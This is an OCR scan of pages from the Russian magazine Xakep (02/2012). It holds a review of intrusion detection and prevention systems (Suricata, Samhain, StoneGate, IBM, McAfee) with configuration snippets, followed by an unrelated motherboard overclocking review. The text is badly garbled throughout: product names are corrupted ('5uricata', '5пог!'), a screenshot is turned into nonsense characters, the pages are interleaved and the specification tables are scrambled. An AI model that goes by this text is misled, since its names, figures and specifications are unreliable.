Бета-версия этой 1D5/IP5 была представлена на суд обществен­ности в январе 2010-го после трех лет разработок. Одна из главных

целей проекта - создание и обкатка совершенно новых технологий

обнаружения атак. За 5uricata стоит объединение OI5F, которое пользуется поддержкой серьезных партнеров, включая ребят из U5 Oepartment 01 Homeland 5ecurity. Актуальным на сегодня является релиз под номером 1.1, вышедший в ноябре 2011 года. Код проекта распространяется под лицензией GPLv2, но финансовые партнеры имеют доступ к не GРL-версии движка, которую они могут использо­

вать в своих продуктах. Для достижения максимального результата

к работе привлекается сообщество, что позволяет достигнуть очень

высокого темпа разработки . Например, по сравнению с предыдущей

версией 1.0, объем кода в 1.1 вырос на 70%. Некоторые современные 105 с длинной историей, в том числе и 5nort, не совсем эффективно используют многопроцессорные/многоядерные системы, что при во­дит к проблемам при обработке большого объема данных. 5uricata изначально работает в многопоточном режиме. Тесты показывают,

что она шестикратно превосходит 5пог! в скорости [на системе с 24 CPU и 128 ГБ ОЗУ) . При сборке с параметром '--епаbIе-сudа' появляется возможность аппаратного ускорения на стороне GPU. Изначально поддерживается IPv6 [в 5пог! активируется ключом '--епаbIе-iрv6'), для перехвата трафика используются стандартные

интерфейсы: LibPcap, NFQueue, IPFRing, IPFW. Вообще, модульная компоновка позволяет быстро подключить нужный элемент для за­

хвата, декодирования, анализа или обработки пакетов. Блокировка

про изводится средствами штатного пакетного фильтра ОС [в Linux для активации режима IP5 необходимо установить библиотеки netlink-queue и libnfnetlink). Движок автоматически определяет

'ВМ Internet Securlty Systems Ahead of the threat.T"

SIg1" 1155 WМCtМde I 00Wr*N!IdS I fflesIDf Rel«lI"-'s 1 С8'ееР.;

~se.uJ CJ

Current Intemet Тhreal Level

RegUS"'o'Ig.tance OrdIrwyactМtyС0ЩJf'0fТl5esllf1~ntlwOO(mirJ.te5lDhotrslll!« nt5tbeingcorntCtedtolhtlrUm8l.

MtJ/I:lpll VulnerabUItI. , In ЗСдDА Sy$lIm. А secи1ty reseaгcherha! 1.1W&i1e<114 sea.nty acмsмм IOf~Мj&Stn SЦ>eМ~ Ccnrol8'ld Data AoquiSlbon (SCЮA) sys/8ml from 8 WndI:n Inct.dng Sc:adaPro 81d syl;t8ms med8 ьу RocIМl

Мultlpll VuheПlbllltl .. 1n SCAOA Sy$ltm. WeU'g8~jIМWedWl"lnc1.I5Inllleot*Dl5ys8m5(ICSI.SC.IOrд~.n:lL.4ilibe,1o

eк8'nII"I8"'~shedЮtsorr.s.,,*Гlf1fr8St'UCtl.n.n:lconaI'fIIIh"~ P8l'k:l.Мrly Int!ti 01 rec«teo.wis In h newsamlht .st.nceofProol' ofCor1Ce1tcode'll'll'tlhese DSOl'1eS. operэD:Jrs shotjd t'JC8f'CIW 1I'ICfU:Wd~. 11'1 montonng IhI!r S;YSНfМ SCДDA. Issueswere~lпаrecenlXFТгerюsPlA:*с8bOn

в продуктах IBM задействованы наработки онлайн-сервиса GTOC и X-Force

128

ОБЪЕДИНЕННЫЙ КОНТРОЛЬ УГРОЗ

Современный интернет несет огромное количество угроз,

позтому узкоспециализированные системы уже не актуальны,

Необходимо использовать комплексное многофункциональное

решение, включающее все компоненты защиты: файервол, IDS/ IPS, €lНТИВИРУС, прокси-сервер, контентный фильтр и аНТИЕпам­фильтр. Такие устройства получили название UTM (Unilied Threat Management, объединенный контроль угроз). В качестве примеров UTM можно привести Trend Micro Оеер Security (ПL.

trendmicro.com ), Kerio Control (ker io.ru ), Sonicwall Network Se­curity (sonicwall .com ), FortiGate Network Security Platlorms and Appliances (fortine t .com ) или специализированные дистрибутивы Linux, такие как Untangle Gateway, IPCop Firewall, рlSепsе (читай их обзор в статье «Сетевые регулировщики», ][_01_2010).

и парсит протоколы [IP, ТСР, UOP, ICMP, НТТР, TL5, ПР, 5МВ, 5МТР и 5СТР), поэтому в правилах необязательно привязываться к номеру порта [как зто делает 5nort), достаточно лишь задать действие для нужного протокола. Ivan Ristic, автор Mod_security, создал специ­альную библиотеку НТР, при меняемую в 5uricata для анализа НТТР­трафика. Разработчики прежде всего стремятся добиться точности

обнаружения и повышения скорости проверки правил.

Вывод результатов унифицирован, поэтому можно использовать

стандартные утилиты для их анализа. Собственно, все бэк-энды,

интерфейсы и анализаторы, написанные для 5пог! [Barnyard, 5nortsnarf, 5guil и т. д.), без доработок работают и с 5uricata. Это тоже большой плюс. Обмен по НТТР подробно журналируется

в файле стандартного формата Apache. Основу механизма детектирования в 5uricata составляют пра­

вила [rules). Здесь разработчики не стали пока ничего изобретать, а позволили подключать рулсеты, созданные для других проектов:

50urcefire VRT [можно обновлять через Oinkmaster), Ореп50игсе Emerging Threats [hemerg ingthreats.net) и Emerging Threats Рго [emergingthrea tsg ro.co m). В первых релизах поддержка была лишь частичной, и движок не распознавал и не загружал некоторые

правила, но сейчас эта проблема решена. Реализован и собствен­

ный формат rules, внешне напоминающий снортовский. Правило состоит из трех компонентов: действие [pass, drop, reject или alert), заголовок [IР/порт источника и назначения) и описание [что ис­

кать). В настройках используются переменные [механизм flowint), позволяющие, например, создавать счетчики. При этом информа­

цию из потока можно сохранять для последующего использования.

Такой подход, при меняемый для отслеживания попыток подбора

пароля, более эффективен, чем используемый в 5пог! метод, кото­

рый оперирует пороговым значением срабатывания. Планируется

создание механизма IP Reputation [вроде 5ensorBase Cisco, см. статью «Потрогай Cisco» в JC07_2011).

Резюмируя, отмечу, что 5uricata - это более быстрый движок,

SURICATA - ЭТО БОЛЕЕ

БblСТРblЙ ДВИЖОК, ЧЕМ SNORT, ПОЛНОСТЬЮ СОВМЕСТИМblЙ С НИМ ПО ПРАВИЛАМ И

БЭК-ЭНДАМ

ХАКЕР 02/157/2012

Page 131: Xakep 02_2012

Новые доспехи для П-инфраструктуры

Terminal - + х

.!!!аЙл Правка ~ид ПQИСК Iерминал ВJY\адки ~правка

Terminal ~ I mc [root@grinder]:/Var/cache/apt/archives

GNU папа 2.2.6 Файл /etc/samhaln/samhalnrc

## ## Add ог subtract tests from the policies ## - if you want to change their definitions, ## you need to do that before using the policies ## # RedefReadOnly = (по default) # RedefAttributes=(no default) Ш RedefLogFiles=(no default) # RedefGrowingLogFiles=(no default) # RedefIgnoreAll=(no default) # RedefIgnoreNone=(no default) # RedefUser0=(no default) # RedefUserl=(no default)

[Attributes] ## ## for these files, only changes in permissions and ownership аге checked ## file=/etc/mtab file=/etc/ssh random seed file=/etc/asound.conf file=/etc/resolv.conf file=/etc/localtime file=/etc/ioctl.save file=/etc/passwd.backup file=/etc/shadow.backup file=/etc/postfix/prng exch file=/etc/adjtime -file=/etc/network/run/ifstate file=/etc/lvm/.cache file=/etc/ld . so.cache

#

rв Помощь Е Выхо"

Е Записать IJ Выровнять

в ЧитФайл ID Поиск

в конфиге Samhain указывается, какие файлы необходимо контролировать

чем 5nort, полностью совместимый с ним по правилам и бэк-эндам и способный проверять большие сетевые потоки. Единственный

недостаток проекта - скудная документация, хотя опытному ад­

мину ничего не стоит разобраться с настройками. В репозиториях

дистрибутивов уже появились пакеты для установки, а на сайте

проекта доступны внятные инструкции по самостоятельной сборке

из исходников. Есть и готовый дистрибутив 5mooth-sec [bailey.st! bIog !smooth-sес), построенный на базе 5uricata .

1.i41i1t.iill Разработчик: Samhain Labs. Web: www.la-samhna.de/samhain. Реализация:программная.

ОС: Unix, Linux, Windows/Cygwin. Лицензия: GNU GPL

Выпускаемый под Ореп50uгсе-лицензией 5amhain относится к хостовым 105, защищающим отдельный компьютер . Он использу­

ет несколько методов анализа, позволяющих полностью охватить

все события, происходящие в системе:

создание при первом запуске базы данных сигнатур важных

файлов и ее сравнение в дальнейшем с «живой» системой;

• мониторинг и анализ записей в журналах;

• контроль входа/выхода в систему; • мониторингподключений коткрытым сетевым портам;

• контроль файлов с установленным 5UID и скрытых процессав.

ХАКЕР 02/157/2012

ra Вырезать I!J ОтмВырезк

Ii ТекПозиц Ii Словарь

Программа может быть запущена в невидимом режиме [задей­ствуется модуль ядра), когда процессы ядра невозможно обнаружить в памяти. 5amhain также поддерживает мониторинг нескольких узлов, работающих под управлением разных ОС, с регистрацией всех

событий в одной точке. При этом установленные на удаленных узлах

агенты отсылают всю собранную информацию [ТСР, АЕ5, подпись) по зашифрованному каналу на сервер [yule), который сохраняет ее в БД [My5QL, Postgre5QL, Oracle). Кроме того, сервер отвечает за про­верку статуса клиентских систем, распространение обновлений

и конфигурационных файлов . Реализовано несколько вариантов для

оповещений и отсылки собранной информации: e-mail [почта подпи­сывается во избежание подделки), syslog, лог-файл [подписывается), Nagios, консоль и др. Управление можно осуществлять с помощью нескольких администраторов с четко установленными ролями .

Пакет доступен в репозитариях практически всех дистрибути­

вов Linux, на сайте проекта есть описание, как установить 5amhain под Windows.

STONEGATE [NTRUSION PREVENTION SYSTEM Разработчик: StoneSoft Corporation. Web: www.stonesoft.com. Реализация: программно-аппаратная, образ VMware. ОС: 32/64-битные Windows 2k3/Vista/7/2k8R2, Linux (CentOS, RHEL,SLES). Лицензия: коммерческая.

129

Page 132: Xakep 02_2012

SYN\ACK

Это реше н ие р азработано финской ком п а н ией, кото рая за ­

нимается созда н ием пр одуктов корпо ратив н ого к л асса в сфере

сетевой безо п ас н ости . В нем р еа л изованы все в остребованны е

фу н к ции: IP S, за щ ита от 0005 - и Oday - атак, веб-фил ыра ц ия,

п оддержка за ш и ф ро ва н н о г о т р а ф и ка и т. д . С п ом ощью Sto neGate IPS мож н о забл оки роват ь в ирус, spyware, о пр еделенные п р и­

л ожения IP 2P, 1 М и п ро ч ееl. Для веб-филыр а ц ии ис п ол ьзуе тся постоянно обновляемая база сайтов, разделе н ных н а н есколько

категорий . Особое внимание уделяется защите от обхода сис тем

безопасности АЕТ IAdvanced Evasion Techniquesl . Техноло г ия Transparent Access Control позволяет разбить корпоративную сеть на несколько виртуальных се гментов без изменения реаль­

ной топологии и устано в ить для каждого из них индивидуальные

политики безо п асности . П олитики проверки трафика настраи­

ваются при п омощи шабл онов, содержащих типовые п рави л а .

Эти политики создаются в офлаЙн - режиме. Администратор

п роверяет созда н ные п ол и т ики и за гружает их на удален н ые

узлы IPS. П охожие собы т ия в StoneGate IPS обрабатывают с я

п о прин ц и п у, ис п ользуемому в S I М/S IЕ М-системах, что суще­ственно обле гчает анализ. Н есколько устройств л е г ко мож н о

объедини ть в класте р и и нте г рировать с другими реш е н иями

StoneSoft - StoneGate Firewall!VPN и StoneGate SSL VPN. Упра в ­

ление при этом обес п ечивается из единой консоли у п р авления

IStопеGаtе Management Centerl, состоящей из трех компонентов :

Terminal

~айл Правка !!ид ПQИСК Iерминал ~правка

Management Server, Log Server и Ma nagement Client. Консол ь

поз в ол я е т н е тол ько н астр аи в ать работ у IPS и создавать н о вы е

пра в и л а и пол и т ики, н о и п ро из в од ить мо нито рин г И пр осматр и ­

ва т ь журн алы . Она н а п иса н а н а Java, поэто м у доступны в е р сии

дл я Wind ows и Linu x. StoneGate IPS п ос т а вляется к а к в ви де аппара тно го ко м­

пл екса, так и в виде образа VMwa re. П ос л едн ий пр едн аз н ачен

для установки н а собстве н ном оборудова н ии ил и в ви р т уа л ьно й

инфраструктур е. И кста т и , в отли ч ие о т созда т е л ей м н о г их п о­

добftых реш ений, ком п ания-разработчик дает скачат ь теетовую

версию образа.

~ Разработчик: IBM_ Web: www.ibm.com/ru . Реализация : программно-аппаратная, образ VMwaгe.

Лицензия : коммерческая.

Система п р е дотвр а щения атак, р аз р а б ота нн ая IB M, ис п оль ­зуе т запатенто в а нн ую тех н ологию а н ал иза п ротокол о в , кото ра я

обеспечивает пр е в е н ти в ную за щ ит у в том ч исл е и от Оd ау-у гр оз .

Как и у всех п родукто в серии IBM Secur ity, его осно в ой является

модуль анализа п ротоколов - РАМ IProtocol Analysis Modu lel, сочетающий в ,ебе традиционный сигнату р н ы й м етод об н аруже-

~YAML 1.1 - $ cat /еtс/suгiсаtа/suгiсаtа-dеЬiап.уаm1

~ Number of packets a110wed to Ье processed simu1taneous1y. Defau1t is а ~ conservative 50. а higher number wi11 make sure CPU's/CPU cores wi11 Ье ~ тоге easi1y kept busy, but wi11 negative1y impact caching. ~ ~ If you аге using the CUDA pattern matcher (b2g cuda be1ow), different ru1es ~ арр1у. In that case try something 1ike 4000 ог-тоге. This is because the CUDA ~ pattern matcher scans many packets in рага11е1. ~max-pending-packets: 50

~ Set the order of a1erts bassed оп actions ~ The defau1t order is pass, drop, reject, a1ert action-order:

- pass - drop - rej ect - a1ert

~ The defau1t logging directory. Any log ог output fi1e wi11 Ье # p1aced here if its not specified with а fu11 path name. This сап Ье # overridden with the -1 command 1ine parameter. defau1t - 1og -dir: /var/1og/suricata

# Configure the type of a1ert (and other) logging you wou1d 1ike. outputs:

Конфигурационный фа йл Suricata понятен тем, кто возился с настрой ками Snort

130 ХАКЕР 02/157/2012

Page 133: Xakep 02_2012

ния атак [Ргоvепtiа ОрепSigпаtuге) и поведенческий анализатор. При этом РАМ различает 218 протоколов уровня приложений [атаки через VoIP, RPC, НТТР и т. д.) И такие форматы данных, как ООС, XLS, POF, ANI, JPG, чтобы предугадывать, куда может быть внедрен вредоносный код . Для анализа трафика исполь­

зуется более 3000 алгоритмов, 200 из них «отлавливают» OoS. Функции межсетевого экрана позволяют разрешить доступ

только по определенным портам и IP, исключая необходимость привлечения дополнительного устройства. Технология Virtual Patch блокирует вирусы на этапе распространения и защищает компьютеры до установки обновления, устраняющего критиче­

скую уязвимость. При необходимости администратор сам может

создать и использовать сигнатуру. Модуль контроля приложений

позволяет управлять Р2Р, 1М, ActiveX-элементами, средствами

VPN и т. д. И при необходимости блокировать их. Реализован мо­

дуль OLP, отслеживающий попытки передачи конфиденциаль ­

ной информации и перемещения данных в защищаемой сети, что

позволяет оценивать риски и блокировать утечку. По умолчанию

распознается восемь типов данных [номера кредиток, телефо­ны ... ), остальную специфическую для организации информацию админ задает самостоятельно при помощи регулярных выраже­

ний . В настоящее время большая часть уязвимостей приходится

на веб-приложения, поэтому в продукт IBM входит специальный модуль WеЬ Аррliсаtiоп Security, который защищает системы от распространенных видов атак: SQL iпjесtiоп, LOAP iпjесtiоп, XSS, JSON hijасkiпg, РНР filе-iпсludегs, CSRF и т . д.

Предусмотрено несколько вариантов действий при обнару­

жении атаки - блокировка хоста, отправка предупреждения,

запись трафика атаки [в файл, совместимый с tcpdump), поме­щение узла в карантин, выполнение настраиваемого пользова­

телем действия и некоторые другие. Политики прописываются

вплоть до каждого порта, IP-аАреса или зоны VLAN. Режим High Availability гарантирует, что в случае выхода из строя одного из нескольких устройств IPS, имеющихся в сети, трафик пойдет через другое, а установленные соединения не прервутся. Все

подсистемы внутри железки - RAIO, блок питания, вентилятор охлаждения - дублированы . Настройка, производящаяся при

помощи веб-консоли, максимально проста [курсы обучения длятся всего один день). При наличии нескольких устройств обычно приобретается IBM Security SiteProtector, который обе­спечивает централизованное управление, выполняет анализ

логов и создает отчеты.

ГДЕ РАЗВЕРНУТЬ IDS/IPS?

Чтобы максимально эффективно использовать IDS/IPS, нужно придерживаться следующих рекомендаций:

Систему необходимо разворачивать на входе защищаемой сети

или подсети и обычно за межсетевым зкраном (нет смысла

контролировать трафик, который будет блокирован) -так мы

снизим нагрузку. В некоторых случаях датчики устанавливают

и внутри сегмента.

Перед активацией функции IP5 следует некоторое время погонять систему в режиме, не блокирующем ID5. В дальнейшем потребуется периодически корректировать правила.

Большинство настроек IP5 установлены с расчетом на типичные сети. В определных случаях они могут оказаться

незффективными, позтому необходимо обязательно указать IP внутренних подсетей и используемые приложения (порты). Это

поможет железке лучше понять, с чем она имеет дело .

Если IРS-система устанавливается «в разрыв», необходимо

контролировать ее работоспособность, иначе выход устройства

из строя может запросто парализовать всю сеть.

ХАКЕР 02/157/2012

Новые доспехи для IТ-инфраструктуры

A-ccess Rights

~ Alert Configuration

1···· ~ Alert Chains ' ~

L:=.i

КОНСОЛЬ управления StoneGate IPS

MCAFEE NETWORK SECURIТY PLATFORM 7 Разработчик: McAfee Inc. Web: www.mcafee.com. Реализация: программно-аппаратная.

Лицензия: коммерческая.

IпtгuShiеld IPS, выпускавшийся компанией McAfee, в свое время был одним из популярных IPS-решениЙ. Теперь на его основе раз­

работан McAfee Network Security Platform 7[NSP). В дополнение ко всем функциями классического NIPS новый продукт п.олучил

инструменты для анализа па кетов, передаваемых по внутренней

корпоративной сети, что помогает обнаруживать зловредный

трафик, инициируемый зараженными компами. В McAfee ис­пользуется технология Global Threat Iпtеlligепсе, которая собирает информацию с сотен тысяч датчиков, установленных по всему

миру, и оценивает репутацию всех проходящих уникальных фай­

лов, IP- и URL-аАресов и протоколов. Благодаря этому NSP может обнаруживать трафик ботнета, выявлять Оdау-угрозы и OOoS­атаки, а такой широкий охват позволяет свести к нулю вероятность

ложного срабатывания.

Не каждая IDS/IPS может работать в среде виртуальных машин, ведь весь обмен происходит по внутренним интерфейсам. Но NSP не испытывает проблем с этим, он умеет анализировать трафик

между VM, а также между VM и физическим хостом . Для наблюде­

ния за узлами используется агентский модуль от компании Reflex Systems, который собирает информацию о трафике в VM и передает ее в физическую среду для анализа.

Движок различает более 1100 приложений, работающих на седьмом уровне OSI. Он просматривает трафик при помощи ме­ханизма контент-анализа и предоставляет простые инструменты

управления.

Кроме NIPS, McAfee выпускает и хостовую IPS - Host Iпtгusiоп Ргеvепtiоп for Oesktop, которая обеспечивает комплексную защиту ПК, используя такие методы детектирования угроз, как анализ

поведения и сигнатур, контроль состояния соединений с помощью

межсетевого экрана, оценка репутации для блокирования атак.

ЗАКЛЮЧЕНИЕ Победителей определять не будем. Выбор в каждом конкретном

случае зависит от бюджета, топологии сети, требуемых функций

защиты, желания админа возиться с настройками и, конечно же,

рисков. Коммерческие решения получают поддержку и снабжаются

сертификатами, что позволяет использовать эти решения в орга­

низациях, занимающихся в том числе обработкой персональных

данных Распространяемый по ОрепSоuгсе-лицензии Sпогt пре­

красно документирован, имеет достаточно большую базу и хоро­

ший послужной список, чтобрl быть востребованным у сисадминов.

Совместимый с ним Suricata вполне может защитить сеть с боль­шим трафиком и, главное, абсолютно бесплатен.:::И::

131

Page 134: Xakep 02_2012

FERRUM Сергей Пnотников

~

я ТВОИ SA DYBRIDGE ТРУБА

: : ", ~ 'j ~=- ~~~ : ,-' '. ----.--/ / ~--

. ~ , -~ .' ' ,-,- , ' Cr -------- , "?),/;:: 1,' " " .. ,.,', 11'

Ассимиляция! Пожалуй , этим заумным

словом можно охарактеризовать потуги Intel и АМD выпустить кремниевое устройство «всё

В одном». И если у первых графика, как всег­

да, хромает на обе ноги, то у «к расных» кишка

тонка тягаться со своим конкурентом в сфере

xB6-приложениЙ .

В сегодняшнем тесте ты познакомишься

с достаточно дорогими моделями, пропа­

гандирующими не только оверклокинг, но и,

например, массивы видеокарт. В связке сАМО Llano можно использовать технологию АМD Dual' Graphics, а в некоторых случаях и полноценный дуэт графических адаптеров,

объединенных в CrossFireX. Правда, в плане «обычной » производительности, то есть

в xB6-приложениях, АМD Llano уступает Intel Sandy Bridge. И тем не менее, хороший раз­гонный потенциал позволяет собрать на базе

процессара АМD АВ/А6 шуструю игровую машинку_

132

Особняком в нашем тесте стоит материн-

ская плата ASUS F1A75-V PRO. Компания­производитель не постеснялась и буквально

навешала на свое устройство всякого рода

фенечки: от абсолютно бесполезных до реаль­

но крутых! Чуть забегая вперед, скажем,ЧТО

для создания достаточно производительного

десктопа на «маме» лучше не экономить.

О каких же деньгах тут идет речь? Если

верить ресурсу « Яндекс Маркет», то на мо­

мент написания статьи топовый камень АМD

АВ-ЗВ50 стоил 4000 рублей . Столько же стоит

материнская плата. За набор оперативной

памяти объемом 4 Гб и частотой 2400 МГц 10 том , почему мы рекомендуем память с часто­той именно 2400 МГц, читай далееl придется выложить порядка 7000 рублей. Остальные комплектующие - по вкусу_ В итоге за связку

процессор-плата-память придется отдать

порядка 15000 рублей. Согласись, не так уж и много за топое железо!

Процессор: АмD А8-З850, 2,9 ГГц Купер: Scythe NINJАЗ Оперативная память: Corsair CMGTX71iJ2400 МГц, 1х4 Гб SSD: Kingston SVP100ES2/64G, 64Гб Бnок питания: HIPER ТУРЕ К1000, 1000 Вт ОС : Windows 7 Максимальная

ХАКЕР 02/157/2012

Page 135: Xakep 02_2012

ASROCKA75 PRO' так, мы начинаем . Первой по алфавиту идет материнская пла­

та ASRock А75 Рг04. Перед нами сразу же предстает топовое устройство! Об этом красноречиво свидетельствует наличие

та к и х оверклокерских фишек, как кнопки эапуска/перезагрузки си ­стемы и обнуления настроек BIOS. Вообще, на базе «четвертой » никто

не помешает тебе собрать достаточно производительный десктоп.

Правда, с разгоном у нас дела как-то не заладились. Все попытки

поднять шину выше отметки 105 МГцзакончились « выпадением » 5АТА­

контроллера. В итоге система вроде бы работала стабильно [по край-

Позови NAS к себе

ней мере в B1051, но зайти в операционную систему не получалось . ~ Попытки разогнать « камень» И память с помощью функции EZ ОС

Mode также провалились . Для тех, кто не в курсе, поясним: теорети­

чески достаточно клацнуть в B105'e всего один раз, чтобы разогнать CPU до 3300/3400/3500/3600 МГц и « мозги » до 2000/2200/2500 МГц. Но не тут-то было! Не сра-бо-та-ло! Перепрошивка BIOS до версии 1.80 никаких дивидендов не принесла . В общем , очевидно, что прошивка A5Rock А75 Рг04 оставляет желать лучшего. Остается лишь надеяться ,

что со временем эта проблема будет решена.

Плюс на базе АМО Llапо можно собрать медиа­

центр любой сложности . В общем, с АМО Llапо

не соскучишься - он предоставляет обширный

простор для творчества.

МЕТОДИКА ТЕСТИРОВАНИЯ Опять возвращаемся к разгону. Удивительно

приятно осознавать, что оверклокинг платы су­

щественно повышает производительность всей

системы. За счет набора множителей процессо­

ра и оперативной памяти разгон « мам » по шине

дают колоссальный эффект. Так, графический

ХАКЕР 02/157/201 2

ASROCKA75 EXТREME6

ак говорится, первый блин комом. Посмотрим, что удастся

выжать из A5Rock А75 Extreme6. Вообще, линейка Extreme6 является гордостью тайваньской компании . Внедалеком

прошлом мы уже изучали материнские платы на базе чипсета Iпtеl

Р67 Express. Настало время АМО. Прошли те времена, когда с A5Rock ассоциировались исключительно бюджетные решения . Но стопового

продукта и спрос соответствующий . Материнская плата A5Rock А75 ... Extreme6 в своем роде уникальна: на текстолите распаяно сразу три

порта PCI Express х 16 . Правда, в случае использования массива видео­

карт CrossFireX работать они будут по схеме х8 + х8 + х4.

В плане разгона A5Rock А75 Extreme6 оказалась пошустрее « прош ­

ки » . Однако скажем сразу: нам не удалось достичь даже покаэателей

ч уть выше среднего . После увеличения частоты шины до 112 МГц процессор с частотой 112 х 29 = 3248 МГц, а память-112 х 18,66=2089,92 МГц. Функция EZ ОС Mode также оказалась абсолютно бесполезной .

кластер АМО Llапо буквально преображается

и из гадкого утенка в великолепного лебедя .

Не так давно компания GIGABYTE представила ролик, в котором было покаэано, как на маши­

не с процессором АМО А8-3850, разогнанным

до 3600 МГц, преспокойно играют в Crysis 2. Повторим, в Crysis 2! Мы решили последовать примеру инженеров тайваньской компании

и установить рамку. Оценку «отлично » получали

те платы, при использовании которы х удава­

лось спокойно играть в Crysis 2 с раэрешением 1920 х 1080 точек и максимальном качестве гра-

фики, но В среде DirectX 9. «Отлично » - озна­

чает не меньше 25 FP5. При этом выставлялис ь

максимальные множители памяти и процессо ­

ра. Для более полного анализа мы вос пользо ­

вались финским бенчмарком 3DMark Vапtаgе и выбрали режим теста регfогmапсе. Наконец,

после тестирования на игровы х приложе ниях

мы снижали множители «камня » И памяти

и определяли максимальный потолок ча стоты

шины у матерински х плат, которого удалос ь до­

стичь при воздушном охлаждении. Все резуль ­таты эаносились в сводные диаграммы .

1ЗЗ

Page 136: Xakep 02_2012

FERRUM

ASUS F1A75-1 DELUXE

m нтересный концепт материнской платы представила компа­ния ASUS. Устройство F1A75-1 Deluxe выполнено в формфак­торе Мiпi-IТХ и при этом оснащено полноценным слотом PCI

Express х16 . Из-за габаритов остальным слотам места не нашлось .

Но горевать не стоит. Слово Deluxe в названии текстолитового гаджета говорит о поддержке беспроводных технологий Wi-Fi и Bluetooth. В общем, ASUS F1A75-1 Deluxe - идеальный вариант для тех, кто хочет

собрать НТРС в микроскопическом корпусе. Удивительное рядом: эту

плату оснастили вполне боеспособными функциями разгона. Хорошо

знакомый UEFI BIOS великолепно оптимизирован. Благодаря этому ~ наша крошка выдала на-гора 118 МГц по шине. После такого раз-гона процессор заработал на частоте 118 х 29 = 3422 МГц, а память-на частоте 118 х 18,66 = 2201,88 МГц. Большего достичь в любом случае не удастся. Хотя бы потому, что на процессор не получится установить

мощный габаритный кулер. Он либо не влезет, либо перекроет опера­тивную память и слот PCI Express х 16. е другой стороны, такой кулер, как, например, Scythe Big Shuгikеп, позволит одновременно охлаж-дать и процессор, и память, и подсистему питания материнской платы.

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ

Сокет: Память: Слоты расширения:

Дисковые контроллеры: Аудио: Сеть:

Разъемы на задней панели:

Формфактор:

134

ASRock А75 Рго4

FM1 1066-2400 МГц 1х РСI Express х16, 1х РСI Express х4, 2х РСI Express х1, 3х РСI 5х SATA3.0 7.1 СН НО Realtek ALC892 Realtek RTL8111E, 10/100/1000 Мбит/с

1х O-Sub, 1х OVI, 1х HOMI, 4х USB 3.0, 2х USB 2.0, 1х eSATA, 1х FireWire, 1х S/POIF, 1х RJ-45, 1х PS/2, 5х audio

АТХ

ASUS F1A75-V PRO

m атеринская плата ASUS F1A75-V PRO уже гостила в нашей тестовой лаборатории. Не так давно в рубрике « Разгон »

именно она служила путеводной звездой во время пробного

разгона АМD Llano. И, надо при знаться, показала себя только с лучшей стороны! В этот раз нам удалось стабильно работать на частоте шины

140 МГц. При такой частоте тактового генератора процессор может работать с частотой 140 х 29 = 4060 МГц, а память - с частотой 140 х 18,66=2612,4 МГц. Но, к сожалению, в первом случае воздушная систе­

ма охлаждения не справилась с разгоряченным «камнем». В случае

с ОЗУ нужно еще постараться найти такой кит. В итоге нам пришлось

... снизить частоту шины и проходить тесты при меньших показателях «камня» И памяти. Тем не менее, рубеж 25 FPS в Crysis 2 был пройден! Как мы и обещали, плата получает оценку «отлично» .

Для тех, кому подобная прыть от АМD Llano покажется недо­статочной, предусмотрена поддержка двух слотов pel Express х16, работающих согласно схеме х16 + х4. Также ты можешь рассчитывать на парочку PCI Express х1 и трио pel . Эквивалентный функционал в совокупности с большим количеством SATA- и USВ-портов послед­

них поколений превращает материнскую плату ASUS F1A75-V PRO в универсальное устройство.

ASRockA75 Extreme6

FM1 1066-2400 МГц 1х РСI Express х16, 1х РСI Express х8, 1х РСI Express х4, 1х РСI Express х1, 3х РСI 8х SATA3.0 7.1 СН НО RealtekALC892 Realtek RTL8111E, 10/100/1000 Мбит/с

FM1 1066-1866 МГц 1х РСI Express х16 5х SATA 3.0

ASUS F1A75-1 Deluxe

7.1 СН НО Realtek ALC892 Realtek RTL8111E, 10/100/1000 Мбит/с; Wi-Fi 802.11 bIg/n

1х O-Sub, 1х OVI, 1х HOMI, 4х USB 3.0, 2х USB 2.0, 1х OisplayPort, 1х OVI, 1х HOMI, 2х USB 3.0, 4х 1х eSATA, 1х FireWire, 1х S/POIF, 1х RJ-45, 1х USB 2.0, 1х eSATA, 1х FireWire, 1 х S/POIF, 1х RJ-PS/2, 6х audio 45, 1х PS/2, 1х Bluetooth, 3х audio

АТХ Mini-IТX

ХАКЕР 02/157/2012

Page 137: Xakep 02_2012

GIGABYТE GA-A75M-D2H

liI ознакомимся с материнской платой GIGABYTE GA-A75M-D2H. Как видно по картинке, перед нами устройство формфактора

тАТХ. Во многом из-за этого инженерам тайваньской компании

пришлось уменьшить число слотов DIMM до двух. Но порты для ОЗУ рас­положены настолько близко к процессорному гнезду, что при использо­

вании габаритного кулера башенного типа киты попросту не поместятся.

В ходе тестирования нам пришлось снимать систему охлаждения с кита

оперативки. Поэтому советуем внимательно отнестись к выбору системы

охлаждения CPU. Вторым недостатком разводки GIGABYTE GA-A75M-D2H мы считаем распаянные 5АТА-коннекторы . Но он проявится только при

использовании габаритной видеокарты . В остальном к столь миниа- ~

тюрной плате претензий по разводке нет. Назовите автора зтой статьи

старомодным, но как же приятно работать с прежним BI05'OM от Award. Привычный голубой экран, привычное меню М . I.т. и никакой поддержки

мыши l Это, возможно, совпадение, но именно бюджетная материнская

плата GIGABYТE GA-A75M-D2H с таким BI05'OM продемонстрировала достаточно неплохие результаты разгона . И зто при наличии скромных

по сегодняшним меркам пяти фаз питания CPU. При увеличении частоты шины до 128 МГц «камень» заработал с частотой 128 х 28 = 3584 МГц, а память - с частотой 128 х 18,66 = 2388,5 МГц. Максимальная частота шины достигала 134 МГц.

FM1

ASUS F1A75-V PRO

FM1

GIGABYТE GA­A75M-D2H

FM1

Позови NA5 к себе

MSI A75MA-G55 ак получилось, что в сегодняшнем тесте участвовал всего

один продукт компании М51. Материнская плата М51

A75MA-G55 может постоять за себя, ведь на страже стабиль­ности устройства, да и всей системы, стоит технология Military Class 11. Конечно, маркетологи наверняка постарались выставить всё в

ярком свете. Но в то же время тяжело отрицать эффективность япон­

ских твердотельны х конденсаторов и высококачественных злементов

... питания. При зтом цена М51 A75MA-G55 весьма демократична. Идем дальше. BI05 материнской платы М51 A75MA-G55, как пацан­

чик из Южного Бутово, четкий. Здесь нет расплывчатых понятий . Если

и можно поднять частоту шины , то лишь до 128 МГц . Если и можно

поднять напряжение, то только на определенную величину, причем

не очень большую . В итоге уже чисто визуально заметно, что в плане

оверклокинга много из этой платы не выжмешь . Тем не менее, 115 МГц на шине мы получили . Процессор заработал на частоте 115 х 29 = 3335 МГц, а память - на частоте 115 х 18,66 = 2145,9 МГц.

MSI A75MA-G55 с НИМИ ДЯДЬКА ЧЕРНОМОР ВОТ парадокс: все устройства, которые мы

тестировали, наверняка найдут своего покупа­

